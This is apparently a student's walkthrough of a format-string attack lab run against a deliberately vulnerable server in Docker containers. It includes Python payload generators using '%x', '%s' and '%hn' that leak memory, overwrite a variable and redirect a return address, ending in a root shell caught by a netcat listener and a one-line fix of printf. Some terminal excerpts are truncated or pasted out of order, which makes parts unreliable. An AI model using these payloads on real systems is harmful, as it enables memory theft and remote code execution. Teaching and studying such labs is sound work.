

To start this Format String Attack Lab I first downloaded the required files and opened the in terminal.

2. Environment Setup

```
seed@VM: ~/.../Labsetup
[10/30/23]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/30/23]seed@VM:~/.../Labsetup$
```

I then turned off countermeasures for address randomization

And then changed the value of the makefile BUF_SIZE

```
al tex  J+L  terminal
FLAGS      = -z execstack
FLAGS_32    = -static -m32
TARGET      = server format-32 format-64

L = 92

all: $(TARGET)

server: server.c
    gcc -o server server.c

format-32: format.c
    gcc -DBUF_SIZE=$(L) $(FLAGS) $(FLAGS_32) -o $@ format.c

format-64: format.c
    gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c

clean:
    rm -f badfile $(TARGET)

install:
    cp server ../fmt-containers
    cp format-* ../fmt-containers

.. TMSERT ..
```

I then went on to build and start the docker

```
[10/31/23]seed@VM:~/.../Labsetup$ docker-compose build
Building fmt-server-1
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
small: Pulling from handsonsecurity/seed-ubuntu
da7391352a9b: Pull complete
14428a6d4bcd: Pull complete
2c2d948710f2: Pull complete
5d39fdfbe330: Pull complete
56b236c9d9da: Pull complete
1bb168ce59cc: Pull complete
```

Running the docker. After doing so I opened up a new terminal so that the docker kept running and stayed attached to the server.

```
[10/31/23]seed@VM:~/.../Labsetup$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-10.9.0.5 ... done
Creating server-10.9.0.6 ... done
Attaching to server-10.9.0.5, server-10.9.0.6
```

Task 1: Crashing the Program

Now that the environment is set up properly we can begin the attack on the program.

To begin we run the server on the 32-bit program which is on the 10.9.0.5 server.

```
Successfully built 551899b92784
Successfully tagged seed-image-fmt-server-2:latest
[10/31/23]seed@VM:~/.../Labsetup$ docker-compose up
Starting server-10.9.0.5 ... done
Starting server-10.9.0.6 ... done
Attaching to server-10.9.0.6, server-10.9.0.5
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0xffffd6f0
server-10.9.0.5 | The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 6 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd628
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | The target variable's value (after): 0x11223344
server-10.9.0.5 | (^_*)(^_) Returned properly (^_*)(^_)

er.c
-z execstack -static -m32 -o format-32 format.c
ion 'myprintf':
ning: format not a string literal and no format argument
(msg);

-z execstack -o format-64 format.c
ion 'myprintf':
ning: format not a string literal and no format argument
(msg);

~/.../server-code$ make install
ontainers
-containers
~/.../server-code$ echo hello | nc 10.9.0.5 9090
~/.../server-code$
```

By doing so we got the target buffer address, secret message address, and variable address. Upon stopping the process we got the frame pointer, and the variable value before and after print.

Now we are given the information that the server can accept up to 1500 bytes. We can exploit this using a different size payload for the format string.

```
| Got a connection from 10.9.0.1
| Starting format
| The input buffer's address: 0xffffd6f0
| The secret message's address: 0x080b4008
| The target variable's address: 0x080e5068
| Waiting for user input .....
| Received 3 bytes.
| Frame Pointer (inside myprintf): 0xffffd628
| The target variable's value (before): 0x11223344

near unexpected token `|'
~/.../server-code$ cat file | nc 10.9.0.5 9090
file or directory

~/.../server-code$ cat file.txt | nc 10.9.0.5 9090
such file or directory

~/.../server-code$ echo %s | nc 10.9.0.5 9090
~/.../server-code$
```

I crashed the program by doing echo %s

Task 2: Printing Out the Server Program's Memory

2A.

To begin this part of the assignment we first have to figure out how many %x are needed.

To do this I plugged an arbitrary number in. I decided to do 63 and placed a divider between each 4 bytes

```

2 import sys
3
4 # Initialize the content array
5 N = 1500
6 content = bytearray(0x0 for i in range(N))
7
8 # This line shows how to store a 4-byte integer at offset 0
9 number = 0xAFAFAFAF
10 content[0:4] = (number).to_bytes(4,byteorder='little')
11
12 # This line shows how to store a 4-byte string at offset 4
13 content[4:8] = ("abcd").encode('latin-1')
14
15 # This line shows how to construct a string s with
16 # 12 of "%.8x", concatenated with a "%n"
17 #s = "%.8x|" * 12 + "%n"
18 s = "%x|" * 63
19
20 # The line shows how to store the string s at offset 8
21 fmt = (s).encode('latin-1')
22 content[8:8+len(fmt)] = fmt
..

```

After doing so I ran the program and found the unique number address. We can then conclude that it is located at 60.

```

server-10.9.0.5 | The secret message's address:
server-10.9.0.5 | The target variable's address:
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprint
server-10.9.0.5 | The target variable's value (
server-10.9.0.5 | 0000abcd11223344|ffffd680|804
648|8049f7b|ffffd680|0|5c|8049f44|ffffd680|80e9
0|0|0|0|0|0|ab304400|80e5000|80e5000|ffffdc68
0|0|0|5dc|afafafaf|64636261|257c7825|78257c78|T
server-10.9.0.5 | (^_^)(^_^) Returned properly
server-10.9.0.5 | Got a connection from 10.9.0.
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:
server-10.9.0.5 | The secret message's address:
server-10.9.0.5 | The target variable's address:
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprint
server-10.9.0.5 | The target variable's value (
server-10.9.0.5 | 0000abcd11223344|ffffd680|804
648|8049f7b|ffffd680|0|5c|8049f44|ffffd680|80e9
0|0|0|0|0|0|6b017a00|80e5000|80e5000|ffffdc68
0|0|0|5dc|afafafaf|64636261|257c7825|78257c78|T
server-10.9.0.5 | (^_^)(^_^) Returned properly

```

2B. Heap Data

To display the secret message we first copy the binary message given into the Python code given for the number. We then subtract by 1 to place the message into the heap and run the code.

```

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8 # This line shows how to store a 4-byte integer at offset 0
9 number = 0x080b4008
10 content[0:4] = (number).to_bytes(4,byteorder='little')
11
12 # This line shows how to store a 4-byte string at offset 4
13 content[4:8] = ("abcd").encode('latin-1')
14
15 # This line shows how to construct a string s with
16 # 12 of "%.8x", concatenated with a "%n"
17 #s = "%.8x|" * 12 + "%n"
18 s = "%x|" * 59 + "\nsecret message:%s"
19
20 # The line shows how to store the string s at offset 8
21 fmt = (s).encode('latin-1')
22 content[8:8+len(fmt)] = fmt

```


together gives the amount $20473 + 4 \text{ bytes} + 4 \text{ initial bytes}$ gives 20481. This made me stumped for a while because I kept getting 5001 and didn't know how to manipulate the values to get 5000. I then concluded by changing 59 to 58. Multiplying that by 347 gave me 20126. I subtracted that from 20480 to get 354-8 got me 346.

3.C

```
docker-compose.yml x *Untitled Document 1 x server.c x format
1 #!/usr/bin/python3
2 import sys
3
4 # Initialize the content array
5 N = 1500
6 content = bytearray(0x0 for i in range(N))
7
8 # This line shows how to store a 4-byte integer at offset 0
9 number = 0x080e506a
10 content[0:4] = (number).to_bytes(4,byteorder='little')
11
12 # This line shows how to store a 4-byte string at offset 4
13 content[4:8] = ("@@@").encode('latin-1')
14
15 number = 0x080e5068
16 content[8:12] = (number).to_bytes(4,byteorder='little')
17 # This line shows how to construct a string s with
18 # 12 of "%.8x", concatenated with a "%n"
19 #s = "%.8x|" * 12 + "%n"
20 #s= "%.347x"*58+"%.346x" + "%n\n"
21 s= "%.740x"*58 + "%.775x" + "%hn" + "%.8738x" + "%hn\n"
22
23 # The line shows how to store the string s at offset 8
24 fmt = (s).encode('latin-1')
25 content[12:12+len(fmt)] = fmt
26
27 # Write the content to badfile
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```

} server-10.9.0.5 | The input buffer's address: 0xffffd330
} server-10.9.0.5 | The secret message's address: 0x080b4008
} server-10.9.0.5 | The target variable's address: 0x080e5068
} server-10.9.0.5 | Waiting for user input .....
} server-10.9.0.5 | Received 1500 bytes.
} server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd268
} server-10.9.0.5 | The target variable's value (before): 0x11223344
}

```

```

40
47 #####
48 #
49 # Construct the format string here
50
51 input_buffer = 0xffffd45c #0xffffd330 + 400 after hex
52
53
54 # This line shows how to store a 4-byte integer at offset 0
55 number = 0xffffd26c
56 content[0:4] = (number).to_bytes(4,byteorder='little')
57
58 # This line shows how to store a 4-byte string at offset 4
59 content[4:8] = ("EEEE").encode('latin-1')
60
61 number = 0xffffd26c + 2
62 content[8:12] = (number).to_bytes(4,byteorder='little')
63 # This line shows how to construct a string s with
64 # 12 of "%.8x", concatenated with a "%n"
65 #s = "%.8x|" * 12 + "%n"
66 s = "%.8x" * 58 + "%.5388x" + "%hn" + "%.11171x" + "%hn\n"
67
68 # The line shows how to store the string s at offset 8
69 fmt = (s).encode('latin-1')
70 content[12:12+len(fmt)] = fmt
71
72

```

To get the input buffer I take the address and + 400 to skip all of the input to place it in the NOP sled. Then I took the Frame pointer +4 to get fffd26c and placed it at the beginning of the payload. Then + 2 for the %hn bite range.

Then to construct string I multiply .8x *58. Then multiply it by 5388x which I got by converting d45c to decimal and - 12 -58*8. And then to get 11171x I did f45c - ffff. I then put it all in the payload and executed.


```

seed@VM: ~/.../attack-code
[11/01/23]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
whoami
Connection received on 10.9.0.5 43148
root@4e8bbbcf1035:/fmt#
root@4e8bbbcf1035:/fmt# whoami
root
root@4e8bbbcf1035:/fmt#

```

Task 6: Fixing the problem

Went back to the server code file to see the warning message again

```

[11/05/23]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=92 -z execstack -static -m32 -o format-32 format.c
format.c: In function 'myprintf':
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
    44 |     printf(msg);
        |     ^~~~~~
gcc -DBUF_SIZE=92 -z execstack -o format-64 format.c
format.c: In function 'myprintf':
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
    44 |     printf(msg);
        |     ^~~~~~
[11/05/23]seed@VM:~/.../server-code$

```

Upon closer inspection, I could see that it was just missing a format string

```

12
13 // This line has a format-string vulnerability
14 printf("%s",msg);
15
16 #if __x86_64__

```

